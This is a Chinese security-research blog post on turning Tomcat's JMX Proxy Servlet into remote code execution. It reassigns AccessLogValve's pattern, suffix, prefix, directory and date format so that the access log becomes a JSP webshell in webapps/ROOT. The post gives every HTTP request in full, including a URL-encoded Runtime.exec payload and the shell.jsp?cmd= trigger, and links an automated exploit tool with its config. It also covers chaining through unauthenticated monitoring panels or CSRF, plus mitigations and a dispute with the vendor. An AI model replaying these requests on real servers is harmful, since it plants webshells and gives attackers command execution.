在介绍该利用方式之前有必要先进行一些说明
(1)不影响默认配置的Tomcat
(2)不影响通过jar
部署的SpringBoot
(3)可以作为利用链中的一环,配合第三方平台未授权访问或弱口令可以直接利用
我发现该利用方式的第一时间向Tomcat
报告并使用上千字来描述利用方式和危害性
然而Tomcat
官方认为这不是安全漏洞,如果能够被利用,完全应该由用户来负责
大致来看,利用手段如下图:
Tomcat
一直存在一个不是“漏洞”的漏洞:Tomcat Manager
导致上传war
解压生成webshell
的RCE
在tomcat/conf/tomcat-users.xml
配置
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
访问/manager/html
输入用户名和密码,即可在里面上传war
进行部署
显然这不归Tomcat
负责,应该由用户保证自己的账号和密码安全
Tomcat
对于Manager
的管理页面采用了HTTP Basic
认证,也就是用户名密码拼接后Base64
编码
如果想要暴力破解这个身份认证其实是不太可能的,因为Tomcat
已经考虑到这个问题:参考LockOutRealm
类的代码,默认在输入错误5次后会锁定5分钟。这也是Tomcat
官方拒绝该漏洞的原因之一,他们认为基于JMXProxy
实现的RCE
攻击和这个类似,由用户负责安全
public class LockOutRealm extends CombinedRealm { /** * The number of times in a row a user has to fail authentication to be * locked out. Defaults to 5. */ protected int failureCount = 5; /** * The time (in seconds) a user is locked out for after too many * authentication failures. Defaults to 300 (5 minutes). */ protected int lockOutTime = 300; }
其实值得关心的是:Tomcat
并不仅仅支持管理页面,同时支持API
和JMXProxy
如果API
可以未授权访问也会导致严重的安全问题(和P牛聊天提到这一点,在某次CTF中出现)
使用API
的方式是:http://{host}:{port}/manager/text/{command}?{parameters}
使用API
部署WAR
包:
http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
如何使用JMXProxy
做到RCE
是本文的重点内容
一般安全研究人员并不会意识到JMXProxy
有什么安全问题,因为官方描述中该功能仅用于监控
JMX
与Tomcat
无关,在Java
官方文档对于JMX
的定义如下:
JMX(Java Management Extensions
)是一个为应用程序植入管理功能的框架。JMX
是一套标准的代理和服务,实际上,用户可以在任何Java
应用程序中使用这些代理和服务实现管理
用人话来说:JMX
让程序有被管理的功能,例如某Web
网站是在24小时不间断运行,那么对网站进行监控是必要的功能;又或者在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值
一般JMX
会通过Adapter
实现Web
管理页面,例如Zabbix
和Nagios
等工具对于JVM
的监控实现,老一些的平台比如JDMK
和MX4J
等
┌─────────┐ ┌─────────┐ │jconsole │ │ Web │ └─────────┘ └─────────┘ │ │ ┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─ JVM ▼ ▼ │ │ ┌─────────┐ ┌─────────┐ ┌─┤Connector├──┤ Adaptor ├─┐ │ │ │ └─────────┘ └─────────┘ │ │ MBeanServer │ │ │ │ ┌──────┐┌──────┐┌──────┐ │ └─┤MBean1├┤MBean2├┤MBean3├─┘ │ │ └──────┘└──────┘└──────┘ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘
结合实例来讲,我搭建了一个MX4J
的监控平台
进入其中的ClassLoading
属性观察:监控到类的属性,并且部分值可以在运行时进行修改
在网上进行搜索可以发现大量类似的JMX
管理页面,我们可以实时地修改JVM
内部的一些属性
但这种修改大多数情况下是无意义的,顶多由于某些属性为空通过空指针导致拒绝服务这样的鸡肋洞
因此研究如何通过JMX
修改变量以实现RCE
是比较有意义的研究
接下来是本文的重点,在Tomcat Manager
中还有一种特殊的管理:JMX Proxy Servlet
参考 Tomcat 9.0 官方文档 中的描述,翻译后为:
JMX Proxy Servlet
是一个轻量级代理,用于获取和设置Tomcat
内部或任何已通过MBean
公开的类。它的使用不是非常用户友好,但对于集成命令行脚本以监视和更改Tomcat
的内部结构非常有帮助。您可以使用代理做两件事:获取信息和设置信息。要真正了解 JMX Proxy Servlet,您应该对 JMX 有一个大致的了解。如果您不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么解释confused
这个词就用迷惑了)
直接阅读这段话可能不能够理解,通过上文对JMX
概念的描述,应该问题不大。Tomcat
提供了JMX
的Agent
或者说API
给用户,而用户一般不是直接手动管理,而是会选择第三方平台进行管理,正是这个原因导致该漏洞有了实际的危害
参考示例,例如我们需要监控运行时的堆内存使用情况
http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage
执行后得到的结果
OK - Attribute get 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport // ...... contents={committed=308281344, init=534773760, max=7602176000, used=106332232})
不仅可以监控JVM
属性也可以修改JVM
中的一些属性,例如开头JMX
篇章中提到的一个场景:
在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。
在JMXProxy
中也提供了修改一些变量的方法
http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
参数:
BEANNAME
(类似类名)另外支持命令调用,不过这一点我并没有做深入研究(也许一些特殊命令组合存在漏洞?)
http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数
总结:
JMXProxy
提供Tomcat
的JMX
接口给第三方平台分析和管理
用于监控Tomcat
内部并且支持部分变量的修改
本节内容是针对Tomcat
的JMXProxy
如何实现RCE
换句话来说:哪些JMXProxy
支持修改的属性被修改后可以RCE
经过肉眼审计,我发现一个有趣的类(熟悉Spring RCE
的师傅应该一眼就能看出来)
AccessLogValve
对应JXMProxy
中的描述信息如下,重点关注五个属性:
Name: Catalina:type=Valve,host=localhost,name=AccessLogValve modelerType: org.apache.tomcat.util.modeler.BaseModelMBean rotatable: true checkExists: false prefix: localhost_access_log pattern: %h %l %u %t "%r" %s %b className: org.apache.catalina.valves.AccessLogValve locale: zh_CN suffix: .txt directory: logs enabled: true stateName: STARTED buffered: true asyncSupported: true renameOnRotate: false fileDateFormat: .yyyy-MM-dd
假设以上五个属性可以被设置,那么接下来的RCE
之路就很简单了
于是我测试了每一个属性,发现都可以成功修改
RCE
的思路如下:
%{header}i
从请求头中提取<%
等特殊符号webapps/ROOT
rotate
创建新文件,写入JSP
马Webshell
第一步:
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password)
这里有一个细节:要求其中的val
参数为全部的URL
编码
%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i
开头和结尾的特殊符号从请求头的p
和s
中获取
第二步:
修改日志后缀为:JSP
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password)
第三步:
修改日志前缀为:shell(当时间格式为空时文件名就是shell.jsp了)
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password)
第四步:
修改日志存储目录到可解析JSP
的目录:webapps/ROOT
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password)
第五步:
修改日志文件名日期格式目的是:触发AccessLogValve
的rotate
功能
在log
日志记录信息的第一行调用rotate
方法
public void log(CharArrayWriter message) { rotate(); // ... }
跟入rotate
方法
public void rotate() { // ... String tsDate; // Check for a change of date tsDate = fileDateFormatter.format(new Date(systime)); // If the date has changed, switch log files if (!dateStamp.equals(tsDate)) { close(true); dateStamp = tsDate; open(); } // ... }
跟入open
方法如果新的fileDateFormatter
不同则FileOutputStream
写入新文件
protected synchronized void open() { // Open the current log file // If no rotate - no need for dateStamp in fileName File pathname = getLogFile(rotatable && !renameOnRotate); // ... writer = new PrintWriter(new BufferedWriter(new OutputStreamWriter( new FileOutputStream(pathname, true), charset), 128000), false); // ... }
新日志文件名来自于prefix
和sufix
的拼接
private File getLogFile(boolean useDateStamp) { // ... File dir = getDirectoryFile(); // ... pathname = new File(dir.getAbsoluteFile(), prefix + suffix); // ... return pathname; }
发送请求Payload
GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP/1.1 Host: 127.0.0.1:8080 Connection: close Authorization: Basic BASE64(username:password)
第六步:
发送带有p
和s
请求头的请求,成功写入一句话
GET / HTTP/1.1 Host: 127.0.0.1:8080 Connection: close p: <% s: %>//
RCE:
GET /shell.jsp?cmd=calc.exe HTTP/1.1 Host: 127.0.0.1:8080 Connection: close
我将以上发包的过程自动化,成功利用
虽说RCE
成功但是:需要有基础认证才可以触发漏洞
目前来看这仅是一种鸡肋的后台RCE
手段,有必要研究一下实际的利用
Manager
弱口令,这个没有讨论的必要值得说明的一点是:黑盒情况下不能确定其他平台监控管理是否基于JMXProxy
JMXProxy
提供的API
那么相当于是一个绕过JMXProxy
但是可以修改AccessLogValve
属性同样可以RCE
所以无论第三方平台是否基于JMXProxy
实现监控只要可以修改目标数据即可RCE
(参考上图)
通过一些手段我找到了不少管理平台,结合上述利用方式即可成功利用
检查了其他端口,开着基于Java
的Web
服务,99%概率跑在Tomcat
下,后续就不多写了
另外在Apache Tomcat
的文档中明确写出:只有manager-gui
受到CSRF
保护而JMX
不受保护
The HTML interface is protected against CSRF (Cross-Site Request Forgery) attacks but the text and JMX interfaces cannot be protected.
因此容易想到基于CSRF
或CSRF+XSS
的利用方式,由于JMX
接口是GET
反而更容易利用
对于存在XSS
漏洞的情况下,更加容易利用
我向Tomcat
官方建议的修复方案是:
JMXProxy
存在RCE
的安全风险AccessLogValve
属性的修改或者设置为只读suffix
不能为.jsp
等可被解析执行的后缀不过Tomcat
官方并没有采纳,他们不认为这是漏洞
对于实际的项目来说,修复方案如下:
manager-jmx
功能务必设置强密码MX4J
等第三方平台对JMX
进行管理,检查是否可以未授权访问Tomcat
的JMX
管理功能,应该对AccessLogValve
属性进行限制我写了一个自动利用的工具:https://github.com/4ra1n/tomcat-jmxproxy-rce-exp
在tomcat/conf/tomcat-users.xml
配置
<user username="admin" password="123456" roles="manager-jmx"/>
修改config.ini
利用文件,然后一把梭即可复现
# target ip host=127.0.0.1 # target port port=8080 # target tomcat jmxproxy username username=admin # target tomcat jmxproxy password password=123456 # execute command cmd=calc.exe
执行EXP
程序:./tomcat-jmxproxy-rce-exp
正如开头所说,虽然Tomcat
官方不认可,但我认为该漏洞的危害大于一些Tomcat
曾经的RCE CVE
官方否认漏洞的四个原因是:
manager
功能,在默认Tomcat
中是关闭的manager/jmxproxy
到公网Tomcat
已有LockOutRealm
可以防御其实Tomcat
官方否认是理由充足的,但他们没有考虑到第三方平台的影响和实际的危害
例如曾经的Tomcat Session RCE
条件同样高,甚至需要基于文件上传漏洞,实战价值未必大
个人认为JMXProxy
漏洞虽然有限制条件,但在整个漏洞利用链中该限制条件是可以被绕过的
后来我反驳过官方:
Tomcat Session RCE
在实战中不可能遇到,或者概率极小,但是你们认可了
通过第三方JMX
平台未授权造成的RCE
的案例有很多
从实际危害角度来看,显然我报告的漏洞存在更大的危害和风险,为什么不认可
官方回复很简单:无论危害多大,你说的都是用户的错误,不是Tomcat
的错误
从另一个角度来看,该利用方式可以被理解为未授权访问或者越权操作
manager-gui
是最高的权限,可以直接启动停止和部署war包manager-jmx
是较低的权限,理论上只能监控和修改部分变量如果一个manager-jmx
用户可以通过一些手段(例如RCE
)达到manager-gui
能做的事情,这是否可以认为是一种漏洞?
如果我最初提交给Tomcat
的报告这样来写,会不会得到认可?